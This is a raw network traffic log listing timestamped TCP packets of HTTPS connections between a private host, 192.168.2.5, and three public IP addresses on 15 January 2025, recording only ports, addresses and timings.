Jan 15, 2025 20:16:38.558161020 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.558218002 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.558891058 CET	49919	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:38.558907032 CET	443	49919	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:38.619113922 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.619211912 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.619448900 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.619534969 CET	49948	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.619568110 CET	443	49948	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.620785952 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.620867014 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.620965958 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.621043921 CET	49947	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.621074915 CET	443	49947	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.650469065 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.653691053 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.653732061 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.655180931 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.655287981 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.656963110 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.657051086 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.657524109 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.703325033 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.705383062 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.705394983 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.764897108 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.765254021 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.766385078 CET	49951	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.766407013 CET	443	49951	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.769655943 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.769711018 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.769896984 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.770083904 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:38.770102978 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:38.856729031 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.856772900 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.856847048 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.857050896 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.857078075 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.857141018 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.857283115 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.857300043 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:38.857456923 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:38.857471943 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.409948111 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.417823076 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.417834044 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.418288946 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.418560982 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.426007032 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.427020073 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.427195072 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.427242994 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:39.427263021 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.427747965 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.429861069 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.429871082 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.430979013 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.431915045 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:39.432101965 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.432225943 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.432764053 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.432939053 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.432955027 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:39.432977915 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.475328922 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.475331068 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.475332975 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.494505882 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:39.494594097 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:39.494684935 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:39.494932890 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:39.494968891 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:39.506243944 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.532123089 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.532284021 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.532356024 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.533288956 CET	49979	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.533337116 CET	443	49979	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.547278881 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.547426939 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.547523975 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:39.548288107 CET	49973	443	192.168.2.5	108.139.47.33
Jan 15, 2025 20:16:39.548309088 CET	443	49973	108.139.47.33	192.168.2.5
Jan 15, 2025 20:16:39.552458048 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.552537918 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.552617073 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.552872896 CET	49980	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.552886009 CET	443	49980	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.597481012 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.597524881 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.597619057 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.597719908 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.597758055 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.597831011 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.597915888 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.597933054 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.598210096 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.598236084 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.604402065 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.604420900 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.604540110 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.605170965 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.605254889 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.605353117 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.605622053 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.605633020 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.607650995 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.607659101 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.607911110 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.608841896 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.608864069 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.608936071 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.611098051 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.611108065 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.613478899 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.613513947 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:39.613621950 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:39.613646030 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.069104910 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.069262981 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.069339991 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.069619894 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.069778919 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.070127964 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.070151091 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.070174932 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.070445061 CET	49942	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.070460081 CET	443	49942	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.070681095 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.070688963 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.071247101 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.071760893 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.071846008 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.071965933 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.072211027 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.072345018 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.072657108 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.072774887 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.072865963 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.072870970 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.073168039 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.073631048 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.073693991 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.075258970 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.075278997 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.075340986 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.075611115 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.075701952 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.075747967 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.075764894 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.075860023 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.075875998 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.079276085 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.079377890 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.079588890 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.079902887 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.080008030 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.080086946 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.080250978 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.080306053 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.080773115 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.081057072 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.081144094 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.081191063 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.091823101 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.092165947 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.092189074 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.093625069 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.093786001 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.094829082 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.094907045 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.095036983 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.112891912 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.115360022 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.123333931 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.139360905 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.156202078 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.156287909 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.159781933 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.159794092 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.162822008 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.162833929 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.162909031 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.162935972 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.162960052 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.162971973 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.163079023 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.163104057 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.163124084 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.163140059 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.163310051 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.163343906 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.163362026 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.163456917 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.163506031 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.163590908 CET	49991	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.163619041 CET	443	49991	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.187489986 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.187567949 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.187715054 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.187870979 CET	49996	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.187879086 CET	443	49996	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.188568115 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.188637018 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.189024925 CET	49994	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.189039946 CET	443	49994	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.203087091 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.203346014 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.203444004 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.203643084 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.203643084 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.203864098 CET	49999	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.203875065 CET	443	49999	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.206377029 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.206393957 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.206465006 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.206624031 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.206643105 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.206728935 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.206979036 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.206994057 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.207108974 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.207134008 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.223206043 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.223335028 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.223396063 CET	49998	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.223401070 CET	443	49998	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.223936081 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.224005938 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.224093914 CET	49995	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.224107027 CET	443	49995	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.590394020 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.590441942 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.590521097 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.590743065 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:40.590761900 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:40.594995975 CET	49997	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.595007896 CET	443	49997	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.709186077 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.709492922 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.709511995 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.709903002 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.710364103 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.710473061 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.711858988 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.713098049 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.713339090 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.713373899 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.714484930 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.715090990 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.715209007 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.715279102 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.759334087 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.768692970 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.832201004 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.832297087 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.832304001 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.832351923 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.832366943 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.832389116 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.832493067 CET	50020	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.832531929 CET	443	50020	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:40.832942009 CET	50019	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:40.832962036 CET	443	50019	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:41.244956970 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.245160103 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.245728970 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.245755911 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.247312069 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.247354031 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.247426033 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.247452021 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.247571945 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.247608900 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.247740030 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.247891903 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248028040 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248061895 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248090029 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248109102 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248198032 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248223066 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248250008 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248262882 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248305082 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248325109 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248356104 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248387098 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248392105 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248400927 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248433113 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248449087 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248466969 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248497963 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248548985 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248550892 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248579025 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248583078 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248598099 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248642921 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248642921 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248682976 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248689890 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248713017 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248733044 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248760939 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248790979 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248820066 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248820066 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248831034 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248862982 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248864889 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248888016 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248923063 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248961926 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248971939 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.248984098 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.248989105 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249020100 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249080896 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249113083 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249140978 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249161959 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249192953 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.249192953 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.257828951 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.257986069 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258023977 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.258178949 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258199930 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.258243084 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.258402109 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258466005 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258541107 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258574963 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.258578062 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258614063 CET	443	50030	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:41.258616924 CET	50030	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:41.258641005 CET	50030	443	192.168.2.5	116.203.164.230
